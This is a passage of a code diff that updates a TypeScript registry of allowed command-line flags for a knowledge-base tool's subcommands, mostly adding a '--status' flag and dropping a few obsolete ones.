+ 'enrich': ['--access', '--asof', '--background', '--bound-slug-prefixes', '--brain', '--concurrency', '--confirm-destructive', '--date', '--days', '--dry-run', '--embedding-dimensions', '--embedding-model', '--entities', '--explain', '--file', '--follow', '--force', '--full', '--help', '--http', '--image', '--json', '--kind', '--limit', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-usd', '--min-context', '--mode', '--model', '--multimodal', '--once', '--order', '--page', '--path', '--progress-interval', '--progress-json', '--quiet', '--reenrich-after', '--resume', '--session', '--since', '--slug', '--slugs', '--source', '--source-id', '--stats', '--status', '--surface', '--thin', '--thin-threshold', '--timeout', '--trusted-extraction', '--types', '--url', '--workers', '--yes'],
+ 'eval': ['--ab-relational', '--against', '--allow-incomplete-judgments', '--allow-mixed-run-config', '--allow-regression', '--asof', '--autocut', '--background', '--baseline', '--batch', '--brain', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--by-type-floor-metric', '--capture-pool', '--committed-baseline', '--compare', '--compare-limit', '--concurrent', '--config-a', '--config-b', '--corpus', '--cycles', '--days', '--dedup-cosine', '--dedup-max-per-page', '--dedup-type-ratio', '--dimensions', '--distance-min', '--embed-cache', '--embedder', '--embedding-dimensions', '--embedding-model', '--expand', '--expansion', '--expansion-replay', '--expansion-variant-budget', '--explain', '--fixtures', '--follow', '--force-rechunk', '--format', '--from-capture', '--from-db', '--gold', '--grounding-min', '--harness', '--help', '--include-abstention', '--include-holdout', '--input', '--json', '--judge', '--judge-concurrency', '--judge-model', '--justification', '--k', '--keyword-only', '--limit', '--llm', '--max-pair-chars', '--max-tokens', '--max-usd', '--mcp-only', '--md', '--metric', '--min-recall', '--mode', '--model', '--models', '--modes', '--name-only', '--no-cache', '--no-embed-cache', '--no-expand', '--no-llm', '--no-trajectory', '--older-than', '--out', '--output', '--output-dir', '--parallel', '--parity-baseline', '--pglite', '--progress-interval', '--progress-json', '--qrels', '--queries-file', '--query', '--question-ids', '--questions', '--quiet', '--receipt-dir', '--record', '--refresh-cache', '--reranker', '--resume-from', '--retrieval-only', '--rrf-k', '--rubric-version', '--runs', '--sample', '--sampling', '--save', '--search-pin', '--seed', '--severity', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--stale', '--status', '--strategy', '--suite', '--suites', '--supabase', '--task', '--threshold', '--threshold-expected-top1', '--threshold-first-relevant-hit', '--threshold-jaccard', '--threshold-latency-multiplier', '--threshold-recall-at-k', '--threshold-top1', '--timeout', '--tool', '--top-k', '--top-regressions', '--until', '--update-baseline', '--usefulness-min', '--verbose', '--verify', '--with-code-intel', '--yes'],
'export': ['--background', '--brain', '--dir', '--explain', '--fix', '--follow', '--help', '--json', '--progress-interval', '--progress-json', '--quiet', '--repo', '--restore-only', '--slug-prefix', '--source', '--timeout', '--type'],
'extract': ['--background', '--brain', '--by-mention', '--catch-up', '--concurrency', '--dir', '--dry-run', '--explain', '--follow', '--from-meetings', '--help', '--include-frontmatter', '--infer-dates', '--json', '--kind', '--ner', '--pack', '--path', '--progress-interval', '--progress-json', '--quiet', '--rebuild', '--since', '--source', '--source-id', '--stale', '--timeout', '--type', '--verbose', '--workers', '--yes'],
'extract-conversation-facts': ['--background', '--brain', '--concurrency', '--confirm-destructive', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--follow', '--force', '--help', '--json', '--limit', '--max-cost', '--max-cost-usd', '--max-runtime', '--no-embedding', '--override-disabled', '--path', '--pglite', '--progress-interval', '--progress-json', '--quiet', '--segment-limit', '--since', '--sleep', '--slug', '--source', '--source-id', '--stale', '--status', '--supabase', '--timeout', '--to', '--types', '--url', '--workers', '--yes'],
@@ -61,45 +61,45 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'founder': ['--brain', '--help', '--json', '--mcp-only', '--since', '--source', '--until'],
'friction': ['--agent', '--base', '--brain', '--compare', '--help', '--hint', '--json', '--kind', '--message', '--no-redact', '--phase', '--run-id', '--severity', '--source', '--transcript-path', '--transcripts'],
'frontmatter': ['--allow-catch-all', '--brain', '--cached', '--diff-filter', '--dry-run', '--exclude-standard', '--fix', '--force', '--get', '--git-common-dir', '--help', '--include-catch-all', '--json', '--name-only', '--no-verify', '--others', '--source', '--type', '--uninstall'],
- 'google': ['--access', '--account', '--allow-create-db', '--allow-docker', '--brain', '--calendar-id', '--chat-model', '--client-id', '--client-json', '--client-secret', '--code', '--consent-state', '--content-root', '--db-only', '--embedding-dimensions', '--embedding-model', '--entity', '--expansion-model', '--force', '--git', '--grant-types', '--help', '--history-days', '--http', '--issuer-url', '--json', '--key', '--kind', '--local-postgres', '--mcp-only', '--mcp-url', '--migrate-only', '--model', '--no-browser', '--no-embedding', '--no-git', '--no-probe', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--paste', '--path', '--pglite', '--port', '--prefer-postgres', '--provenance', '--purge-client', '--reauth', '--schema-pack', '--scopes', '--services', '--skip-embed-check', '--source', '--supabase', '--surface', '--sync-budget-ms', '--timeout-ms', '--to', '--token-command', '--url', '--version', '--via'],
+ 'google': ['--access', '--account', '--allow-create-db', '--allow-docker', '--brain', '--calendar-id', '--chat-model', '--client-id', '--client-json', '--client-secret', '--code', '--consent-state', '--content-root', '--db-only', '--embedding-dimensions', '--embedding-model', '--entity', '--expansion-model', '--force', '--git', '--grant-types', '--help', '--history-days', '--http', '--issuer-url', '--json', '--key', '--kind', '--local-postgres', '--mcp-only', '--mcp-url', '--migrate-only', '--model', '--no-browser', '--no-embedding', '--no-git', '--no-probe', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--paste', '--path', '--pglite', '--port', '--prefer-postgres', '--provenance', '--purge-client', '--reauth', '--schema-pack', '--scopes', '--services', '--skip-embed-check', '--source', '--status', '--supabase', '--surface', '--sync-budget-ms', '--timeout-ms', '--to', '--token-command', '--url', '--version', '--via'],
'graph-query': ['--brain', '--depth', '--direction', '--help', '--include-foreign', '--json', '--mcp-only', '--source', '--type'],
'hook': ['--allow-unverified-remote', '--auto', '--brain', '--cached', '--count', '--diff-filter', '--end-of-options', '--env', '--exclude-standard', '--get', '--harness', '--help', '--jq', '--json', '--name-only', '--others', '--path', '--porcelain', '--pure', '--quiet', '--session', '--show-current', '--show-toplevel', '--source'],
'import': ['--allow-empty', '--allow-noncanonical-root', '--background', '--brain', '--cached', '--dim', '--embedding-dimensions', '--embedding-model', '--empty', '--exclude', '--exclude-standard', '--explain', '--follow', '--force', '--force-rechunk', '--fresh', '--help', '--include-gitignored', '--json', '--log-noop', '--no-embed', '--no-embedding', '--no-gpg-sign', '--no-verify', '--others', '--path', '--pglite', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--show-toplevel', '--skip-failed', '--slugs', '--source', '--source-id', '--stale', '--status', '--supabase', '--timeout', '--to', '--url', '--verify', '--workers'],
'init': ['--all', '--allow-create-db', '--allow-docker', '--brain', '--break-lock', '--chat-model', '--check', '--content-root', '--db-only', '--dim', '--embedding-dimensions', '--embedding-model', '--entity', '--expansion-model', '--force', '--git', '--grant-types', '--help', '--http', '--issuer-url', '--json', '--key', '--local-postgres', '--mcp-only', '--mcp-url', '--migrate-only', '--model', '--no-embedding', '--no-expand', '--no-git', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--path', '--pglite', '--prefer-postgres', '--probe', '--provenance', '--quiet', '--schema-pack', '--scopes', '--show-toplevel', '--skip-embed-check', '--source', '--stale', '--status', '--supabase', '--surface', '--to', '--touchpoint', '--url', '--version', '--yes'],
'integrations': ['--auto', '--brain', '--dry-run', '--help', '--json', '--overwrite', '--refresh', '--source', '--target'],
'integrity': ['--auto', '--backend', '--background', '--brain', '--confidence', '--cost', '--dry-run', '--explain', '--follow', '--fresh', '--help', '--json', '--limit', '--progress-interval', '--progress-json', '--quiet', '--review-lower', '--skip-bare-tweet', '--skip-urls', '--source', '--supabase', '--timeout', '--type', '--url'],
- 'jobs': ['--abbrev-ref', '--access', '--aliases', '--all', '--allow-empty', '--allow-shell-jobs', '--asof', '--auto', '--background', '--backoff-delay', '--backoff-jitter', '--backoff-type', '--batch-size', '--bound-slug-prefixes', '--brain', '--break-lock', '--by-mention', '--cached', '--catch-up', '--cli-path', '--cluster-errors', '--concurrency', '--confidence', '--confirm-destructive', '--cost-estimate', '--date', '--days', '--delay', '--detach', '--diff-filter', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--empty', '--entities', '--exclude', '--exclude-standard', '--expect', '--explain', '--facts', '--file', '--filters', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--format', '--fresh', '--from-meetings', '--full', '--full-history', '--hard-deadline', '--health-interval', '--help', '--http', '--idempotency-key', '--ids', '--image', '--include-frontmatter', '--include-gitignored', '--include-hidden', '--include-null-signature', '--infer-dates', '--inject-bootstrap', '--inline', '--install', '--interval', '--is-ancestor', '--is-shallow-repository', '--job-id', '--job-isolation', '--json', '--kind', '--limit', '--lock-duration-ms', '--log-noop', '--markdown', '--max-age', '--max-attempts', '--max-cost-usd', '--max-crashes', '--max-rss', '--max-runtime-min', '--max-sources', '--max-stalled', '--max-usd', '--max-waiting', '--mcp-only', '--min-context', '--missing-path', '--mode', '--model', '--multimodal', '--name-only', '--ner', '--nice', '--no-auto-embed', '--no-delegate', '--no-embed', '--no-extract', '--no-gpg-sign', '--no-hard-deadline', '--no-inject', '--no-pull', '--no-renames', '--no-schema-pack', '--no-verify', '--no-worker', '--now', '--older-than', '--once', '--order', '--others', '--override-disabled', '--pace', '--pace-max-concurrency', '--pack', '--page', '--parallel', '--params', '--path', '--phase', '--pid-file', '--priority', '--queue', '--quiet', '--rebuild', '--redact-secrets', '--reenrich-after', '--refresh-ms', '--repo', '--resume', '--retry-failed', '--review-lower', '--segment-limit', '--serial', '--session', '--show-toplevel', '--sigkill-rescue', '--since', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--sleep', '--slug', '--slugs', '--source', '--source-id', '--src-subpath', '--stale', '--stats', '--status', '--strategy', '--surface', '--swap-only', '--target', '--thin', '--thin-threshold', '--timeout', '--timeout-ms', '--to', '--trusted-extraction', '--type', '--types', '--uninstall', '--url', '--user', '--verbose', '--verify', '--watch', '--wedge-rescue', '--workers', '--working-tree', '--yes'],
+ 'jobs': ['--abbrev-ref', '--access', '--aliases', '--all', '--allow-empty', '--allow-shell-jobs', '--asof', '--auto', '--background', '--backoff-delay', '--backoff-jitter', '--backoff-type', '--batch-size', '--bound-slug-prefixes', '--brain', '--break-lock', '--by-mention', '--cached', '--catch-up', '--cli-path', '--cluster-errors', '--concurrency', '--confidence', '--confirm-destructive', '--cost-estimate', '--date', '--days', '--delay', '--detach', '--diff-filter', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--empty', '--entities', '--exclude', '--exclude-standard', '--expect', '--explain', '--facts', '--file', '--filters', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--format', '--fresh', '--from-meetings', '--full', '--full-history', '--hard-deadline', '--health-interval', '--help', '--http', '--idempotency-key', '--ids', '--image', '--include-frontmatter', '--include-gitignored', '--include-hidden', '--include-null-signature', '--infer-dates', '--inject-bootstrap', '--inline', '--install', '--interval', '--is-ancestor', '--is-shallow-repository', '--job-id', '--job-isolation', '--json', '--kind', '--limit', '--lock-duration-ms', '--log-noop', '--markdown', '--max-age', '--max-attempts', '--max-cost-usd', '--max-crashes', '--max-rss', '--max-runtime-min', '--max-sources', '--max-stalled', '--max-usd', '--max-waiting', '--mcp-only', '--min-context', '--missing-path', '--mode', '--model', '--multimodal', '--name-only', '--ner', '--nice', '--no-auto-embed', '--no-delegate', '--no-embed', '--no-extract', '--no-gpg-sign', '--no-hard-deadline', '--no-inject', '--no-pull', '--no-renames', '--no-schema-pack', '--no-verify', '--no-worker', '--now', '--older-than', '--once', '--order', '--others', '--override-disabled', '--pace', '--pace-max-concurrency', '--pack', '--page', '--parallel', '--params', '--path', '--phase', '--pid-file', '--priority', '--queue', '--quiet', '--rebuild', '--redact-secrets', '--reenrich-after', '--refresh-ms', '--repo', '--resume', '--retry-failed', '--review-lower', '--segment-limit', '--serial', '--session', '--show-toplevel', '--sigkill-rescue', '--since', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--sleep', '--slug', '--slugs', '--source', '--source-id', '--src-subpath', '--stale', '--stats', '--status', '--strategy', '--surface', '--swap-only', '--target', '--thin', '--thin-threshold', '--timeout', '--timeout-ms', '--trusted-extraction', '--type', '--types', '--uninstall', '--url', '--user', '--verbose', '--verify', '--watch', '--wedge-rescue', '--workers', '--working-tree', '--yes'],
'lint': ['--abbrev-ref', '--abort', '--background', '--brain', '--branch', '--cached', '--dry-run', '--exclude', '--explain', '--file', '--fix', '--follow', '--get', '--git-dir', '--git-path', '--help', '--is-inside-work-tree', '--json', '--local', '--name-only', '--no-cron', '--no-verify', '--pat-file', '--path', '--progress-interval', '--progress-json', '--push-only', '--quiet', '--rebase', '--short', '--show-toplevel', '--source', '--timeout', '--unset-all'],
'loops': ['--all', '--brain', '--help', '--json', '--source', '--stale-ok', '--status', '--top', '--type'],
'lsd': ['--brain', '--force-resume', '--help', '--json', '--judge-model', '--limit', '--list-runs', '--max-cost', '--max-far-set', '--max-ideas-per-judge-call', '--no-save', '--resume', '--save', '--source', '--strict-budget', '--yes'],
'maintain': ['--all', '--background', '--brain', '--break-lock', '--by-mention', '--catch-up', '--concurrency', '--content-audit', '--count', '--detach', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--fast', '--fix', '--force', '--force-retry', '--force-schema', '--from-meetings', '--full', '--harness', '--help', '--http', '--include-flagged', '--include-frontmatter', '--include-gitignored', '--index-audit', '--infer-dates', '--install', '--json', '--kind', '--lang', '--link-source', '--link-type', '--locks', '--markdown', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-usd', '--migrate-only', '--multimodal', '--ner', '--no-embed', '--no-pull', '--older-than', '--pack', '--parallel', '--params', '--path', '--pglite', '--phase', '--pid-file', '--porcelain', '--probe-pglite', '--query', '--queue', '--reauth', '--rebuild', '--regenerate', '--remediate', '--remediation-plan', '--remove', '--reset', '--resume', '--retry-failed', '--safe', '--scope', '--scopes', '--show-current', '--since', '--skills-dir', '--skip-failed', '--slugs', '--source', '--source-id', '--stale', '--status', '--supabase', '--symbol-kind', '--target', '--target-score', '--to', '--top-k', '--type', '--url', '--verbose', '--version', '--window', '--workers', '--yes'],
'mcp': ['--admin-token-file', '--agent', '--arg', '--bearer-token-env-var', '--bound-brain', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--client', '--credentials-file', '--credentials-out', '--delegate', '--delegated-namespace', '--delegated-slug-prefixes', '--dry-run', '--enable-dcr', '--federated-read', '--flow', '--force', '--funnel', '--harness', '--header', '--help', '--if-version', '--install', '--issuer-url', '--json', '--limit', '--mcp-only', '--mcp-url', '--no-install', '--no-service', '--no-tailscale', '--oauth-client-id', '--oauth-client-secret', '--oauth-request', '--port', '--profile', '--queue', '--redirect-uri', '--remove', '--resume', '--root', '--scope', '--scopes', '--skills', '--source', '--status', '--surface', '--timeout-ms', '--token', '--token-endpoint-auth-method', '--token-ttl', '--url', '--yes'],
- 'migrate': ['--all', '--background', '--batch-size', '--brain', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--facts', '--follow', '--force', '--force-retry', '--force-sunset-target', '--help', '--ignore-env-override', '--include-null-signature', '--json', '--locks', '--no-embed', '--non-interactive', '--pace', '--pace-max-concurrency', '--path', '--priority', '--progress-interval', '--progress-json', '--quiet', '--reranker', '--retarget', '--skip-verify', '--slugs', '--source', '--stale', '--status', '--timeout', '--to', '--url', '--yes'],
- 'models': ['--brain', '--embedding-dimensions', '--embedding-model', '--help', '--json', '--skip', '--source', '--to'],
+ 'migrate': ['--all', '--background', '--batch-size', '--brain', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--facts', '--follow', '--force', '--force-retry', '--help', '--ignore-env-override', '--include-null-signature', '--json', '--locks', '--no-embed', '--non-interactive', '--pace', '--pace-max-concurrency', '--path', '--priority', '--progress-interval', '--progress-json', '--quiet', '--reranker', '--retarget', '--skip-verify', '--slugs', '--source', '--stale', '--status', '--timeout', '--to', '--url', '--yes'],
+ 'models': ['--brain', '--embedding-dimensions', '--embedding-model', '--help', '--json', '--skip', '--source', '--status'],
'mounts': ['--alias', '--brain', '--database-path', '--database-url', '--db-path', '--db-url', '--engine', '--help', '--id', '--json', '--mcp-url', '--path', '--skills-dir', '--source'],
- 'notability-eval': ['--brain', '--embedding-dimensions', '--embedding-model', '--help', '--in', '--json', '--out', '--repo', '--skip-llm', '--source', '--target-high', '--target-low', '--target-medium', '--to'],
+ 'notability-eval': ['--brain', '--embedding-dimensions', '--embedding-model', '--help', '--in', '--json', '--out', '--repo', '--skip-llm', '--source', '--status', '--target-high', '--target-low', '--target-medium'],
'onboard': ['--access', '--asof', '--auto', '--bound-slug-prefixes', '--brain', '--check', '--date', '--days', '--entities', '--explain', '--file', '--from-pages', '--full', '--help', '--history', '--http', '--image', '--json', '--kind', '--limit', '--max-usd', '--mode', '--multimodal', '--once', '--page', '--params', '--path', '--remediate', '--remediation-plan', '--resume', '--session', '--since', '--slug', '--slugs', '--source', '--stats', '--surface', '--target-score', '--trusted-extraction', '--types', '--url', '--yes'],
'orphans': ['--background', '--brain', '--count', '--explain', '--follow', '--help', '--include-pseudo', '--json', '--mode', '--progress-interval', '--progress-json', '--quiet', '--source', '--timeout'],
'pages': ['--brain', '--dry-run', '--help', '--json', '--older-than', '--source'],
'pglite-repair': ['--brain', '--break-lock', '--dry-run', '--help', '--json', '--path', '--source', '--yes'],
- 'post-upgrade': ['--acknowledge-no-backup', '--all', '--apply-clean-hunks', '--backup-confirmed', '--brain', '--check', '--concurrency', '--confirm-quiesced', '--content-root', '--cost-estimate', '--dim', '--embedding-dimensions', '--embedding-model', '--export-db-only', '--export-source', '--ff-only', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--help', '--host-dir', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--multimodal', '--name-only', '--no-autopilot-install', '--no-embed', '--no-embedding', '--no-inject', '--no-worker', '--non-interactive', '--now', '--once', '--pglite', '--quiet', '--repo', '--require-db', '--skills-dir', '--skip-verify', '--source', '--stale', '--status', '--supabase', '--swap-only', '--target', '--to', '--uninstall', '--user', '--verify', '--version', '--workers', '--yes'],
+ 'post-upgrade': ['--acknowledge-no-backup', '--all', '--apply-clean-hunks', '--backup-confirmed', '--brain', '--check', '--concurrency', '--confirm-quiesced', '--content-root', '--cost-estimate', '--embedding-dimensions', '--embedding-model', '--export-db-only', '--export-source', '--ff-only', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--help', '--host-dir', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--multimodal', '--name-only', '--no-autopilot-install', '--no-embed', '--no-inject', '--no-worker', '--non-interactive', '--now', '--once', '--quiet', '--repo', '--require-db', '--skills-dir', '--skip-verify', '--source', '--status', '--swap-only', '--target', '--uninstall', '--user', '--verify', '--version', '--workers', '--yes'],
'protocol': ['--access', '--asof', '--bound-slug-prefixes', '--brain', '--date', '--days', '--entities', '--file', '--full', '--help', '--http', '--image', '--json', '--kind', '--limit', '--mode', '--multimodal', '--once', '--page', '--path', '--session', '--since', '--slug', '--slugs', '--source', '--stats', '--surface', '--synthesize', '--target', '--token', '--trusted-extraction', '--types', '--url', '--yes'],
- 'providers': ['--brain', '--dim', '--embedding-dimensions', '--embedding-model', '--help', '--json', '--model', '--source', '--to', '--touchpoint'],
+ 'providers': ['--brain', '--embedding-dimensions', '--embedding-model', '--help', '--json', '--model', '--source', '--status', '--touchpoint'],
'publish': ['--accent', '--bg', '--border', '--brain', '--card-bg', '--code-bg', '--error', '--fg', '--help', '--json', '--link', '--muted', '--out', '--password', '--source', '--title'],
'quarantine': ['--apply', '--brain', '--force', '--force-rechunk', '--help', '--include-flagged', '--json', '--limit', '--no-embed', '--source', '--source-id', '--stale'],
'recall': ['--access', '--as-context', '--asof', '--background', '--bound-slug-prefixes', '--brain', '--budget-tokens', '--date', '--days', '--entities', '--explain', '--file', '--follow', '--full', '--grep', '--help', '--http', '--image', '--include-expired', '--json', '--kind', '--limit', '--mcp-only', '--mode', '--multimodal', '--once', '--page', '--path', '--pending', '--progress-interval', '--progress-json', '--query', '--quiet', '--reason', '--request-id', '--rollup', '--session', '--session-id', '--since', '--since-last-run', '--slug', '--slugs', '--source', '--stats', '--supersessions', '--surface', '--timeout', '--today', '--trusted-extraction', '--types', '--url', '--watch', '--yes'],
'reconcile-links': ['--background', '--brain', '--dry-run', '--explain', '--follow', '--help', '--json', '--progress-interval', '--progress-json', '--quiet', '--source', '--timeout'],
'reindex': ['--aliases', '--background', '--brain', '--concurrency', '--cost-estimate', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--follow', '--force', '--force-rechunk', '--help', '--json', '--limit', '--markdown', '--multimodal', '--no-embed', '--no-embedding', '--pglite', '--progress-interval', '--progress-json', '--quiet', '--repo', '--source', '--stale', '--status', '--supabase', '--timeout', '--to', '--type', '--workers', '--yes'],
- 'reindex-code': ['--background', '--brain', '--break-lock', '--concurrency', '--db-url', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--follow', '--force', '--help', '--json', '--max-cost', '--max-cost-usd', '--max-runtime', '--no-embed', '--path', '--progress-interval', '--progress-json', '--quiet', '--source', '--timeout', '--to', '--workers', '--yes'],
+ 'reindex-code': ['--background', '--brain', '--break-lock', '--concurrency', '--db-url', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--follow', '--force', '--help', '--json', '--max-cost', '--max-cost-usd', '--max-runtime', '--no-embed', '--path', '--progress-interval', '--progress-json', '--quiet', '--source', '--status', '--timeout', '--workers', '--yes'],
'reindex-frontmatter': ['--brain', '--concurrency', '--dry-run', '--force', '--help', '--json', '--slug-prefix', '--source', '--workers', '--yes'],
'reindex-search-vector': ['--background', '--brain', '--dry-run', '--explain', '--follow', '--help', '--json', '--progress-interval', '--progress-json', '--quiet', '--source', '--timeout', '--yes'],
- 'reinit-pglite': ['--abbrev-ref', '--all', '--allow-create-db', '--allow-docker', '--allow-empty', '--brain', '--break-lock', '--cached', '--chat-model', '--concurrency', '--confirm-destructive', '--content-root', '--db-only', '--diff-filter', '--embedding-dimensions', '--embedding-model', '--empty', '--entity', '--exclude', '--exclude-standard', '--expansion-model', '--filters', '--fix', '--force', '--force-break-lock', '--format', '--full', '--full-history', '--git', '--grant-types', '--hard-deadline', '--help', '--http', '--include-gitignored', '--include-hidden', '--interval', '--is-ancestor', '--is-shallow-repository', '--issuer-url', '--json', '--key', '--local-postgres', '--max-age', '--max-sources', '--mcp-only', '--mcp-url', '--migrate-only', '--missing-path', '--model', '--name-only', '--no-auto-embed', '--no-delegate', '--no-embed', '--no-embedding', '--no-extract', '--no-git', '--no-gpg-sign', '--no-hard-deadline', '--no-pull', '--no-renames', '--no-schema-pack', '--no-sync', '--no-verify', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--others', '--parallel', '--path', '--pglite', '--prefer-postgres', '--priority', '--provenance', '--quiet', '--repo', '--retry-failed', '--schema-pack', '--scopes', '--serial', '--show-toplevel', '--skip-embed-check', '--skip-failed', '--slugs', '--source', '--source-id', '--src-subpath', '--stale', '--strategy', '--supabase', '--surface', '--timeout', '--to', '--url', '--verify', '--version', '--watch', '--workers', '--working-tree', '--yes'],
+ 'reinit-pglite': ['--abbrev-ref', '--all', '--allow-create-db', '--allow-docker', '--allow-empty', '--brain', '--break-lock', '--cached', '--chat-model', '--concurrency', '--confirm-destructive', '--content-root', '--db-only', '--diff-filter', '--embedding-dimensions', '--embedding-model', '--empty', '--entity', '--exclude', '--exclude-standard', '--expansion-model', '--filters', '--fix', '--force', '--force-break-lock', '--format', '--full', '--full-history', '--git', '--grant-types', '--hard-deadline', '--help', '--http', '--include-gitignored', '--include-hidden', '--interval', '--is-ancestor', '--is-shallow-repository', '--issuer-url', '--json', '--key', '--local-postgres', '--max-age', '--max-sources', '--mcp-only', '--mcp-url', '--migrate-only', '--missing-path', '--model', '--name-only', '--no-auto-embed', '--no-delegate', '--no-embed', '--no-embedding', '--no-extract', '--no-git', '--no-gpg-sign', '--no-hard-deadline', '--no-pull', '--no-renames', '--no-schema-pack', '--no-sync', '--no-verify', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--others', '--parallel', '--path', '--pglite', '--prefer-postgres', '--priority', '--provenance', '--quiet', '--repo', '--retry-failed', '--schema-pack', '--scopes', '--serial', '--show-toplevel', '--skip-embed-check', '--skip-failed', '--slugs', '--source', '--source-id', '--src-subpath', '--stale', '--status', '--strategy', '--supabase', '--surface', '--timeout', '--to', '--url', '--verify', '--version', '--watch', '--workers', '--working-tree', '--yes'],
'remote': ['--brain', '--help', '--json', '--mcp-only', '--scopes', '--source', '--timeout'],
'repair-jsonb': ['--background', '--brain', '--dry-run', '--explain', '--follow', '--help', '--json', '--progress-interval', '--progress-json', '--quiet', '--source', '--supabase', '--timeout', '--url'],
'report': ['--brain', '--content', '--dir', '--help', '--json', '--source', '--title', '--type'],
'repos': ['--abbrev-ref', '--abort', '--access', '--account', '--admin-intent', '--after', '--all', '--allow-unverified-remote', '--allowed-operations', '--app-id', '--app-install', '--app-pem', '--apply', '--audit', '--backups', '--before', '--bound-brain', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--branch', '--budget-usd-per-day', '--cached', '--calendar-id', '--cleanup-dead-local-locks', '--clone-dir', '--confirm-destructive', '--confirm-quiesced', '--count', '--days', '--decisions', '--delegated-namespace', '--delegated-slug-prefixes', '--detect', '--diff-filter', '--dir', '--dry-run', '--exclude', '--exclude-standard', '--expected-epoch', '--expected-incarnation', '--expected-state', '--federated', '--federated-read', '--file', '--fix', '--force', '--format', '--from', '--get', '--git-dir', '--git-path', '--github-repo', '--grant-types', '--help', '--history-days', '--http', '--id', '--include', '--include-warns', '--is-inside-work-tree', '--json', '--keep-storage', '--kind', '--limit', '--local', '--manifest', '--max-cost-usd', '--message', '--name', '--name-only', '--no-cron', '--no-embed', '--no-federate', '--no-federated', '--no-harden', '--no-pull', '--no-verify', '--others', '--out', '--params', '--pat-file', '--path', '--plan', '--preview', '--probe', '--profile', '--push-only', '--quiet', '--rebase', '--redirect-uri', '--remove-backup', '--repair', '--replace', '--repos', '--request-id', '--scope', '--scopes', '--secret', '--self-transfer', '--services', '--set', '--shared-skills', '--short', '--show-toplevel', '--slug-prefixes', '--source', '--source-id', '--source-ids', '--stale', '--status', '--surface', '--takes-holders', '--token', '--token-command', '--token-endpoint-auth-method', '--token-env', '--token-ttl', '--unset-all', '--url', '--usage', '--yes'],
'resolvers': ['--backend', '--brain', '--cost', '--help', '--json', '--source'],
- 'retrieval-upgrade': ['--all', '--background', '--batch-size', '--brain', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--facts', '--follow', '--force', '--force-sunset-target', '--help', '--ignore-env-override', '--include-null-signature', '--json', '--no-embed', '--non-interactive', '--pace', '--pace-max-concurrency', '--priority', '--progress-interval', '--progress-json', '--quiet', '--reranker', '--retarget', '--slugs', '--source', '--stale', '--status', '--timeout', '--to', '--yes'],
+ 'retrieval-upgrade': ['--all', '--background', '--batch-size', '--brain', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--facts', '--follow', '--force', '--help', '--ignore-env-override', '--include-null-signature', '--json', '--no-embed', '--non-interactive', '--pace', '--pace-max-concurrency', '--priority', '--progress-interval', '--progress-json', '--quiet', '--reranker', '--retarget', '--slugs', '--source', '--stale', '--status', '--timeout', '--to', '--yes'],
'routing-eval': ['--brain', '--help', '--json', '--llm', '--skills-dir', '--source'],
'salience': ['--brain', '--days', '--help', '--json', '--kind', '--limit', '--mcp-only', '--slug-prefix', '--source'],
'schema': ['--alias', '--apply', '--as-filing-rules', '--brain', '--dims', '--expert', '--expert-routing', '--extractable', '--force', '--help', '--inverse', '--json', '--kind', '--pack', '--page-type', '--prefix', '--primitive', '--schema-pack', '--since', '--source', '--source-id', '--target-type', '--to', '--with-db'],
@@ -118,9 +118,8 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'takes': ['--accept', '--batch-size', '--brain', '--bucket-size', '--by', '--claim', '--dim', '--dir', '--domain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--evidence', '--expected-revision', '--expired', '--force', '--from-pages', '--help', '--holder', '--include-covered', '--json', '--kind', '--limit', '--max-pages', '--no-embed', '--no-embedding', '--offset', '--outcome', '--pglite', '--quality', '--reject', '--request-id', '--row', '--semantic', '--since', '--sort', '--source', '--source-id', '--stale', '--status', '--supabase', '--to', '--unit', '--until', '--value', '--weight', '--who', '--yes'],
'think': ['--anchor', '--bind', '--brain', '--calibration-holder', '--enable-dcr', '--enable-dcr-insecure', '--help', '--http', '--json', '--log-full-params', '--mcp-only', '--model', '--oauth-request', '--port', '--print-admin-token', '--public-url', '--rounds', '--save', '--since', '--source', '--source-guard', '--stdio-idle-timeout', '--suppress-bootstrap-token', '--surface', '--take', '--token-ttl', '--until', '--url', '--with-calibration', '--yes'],
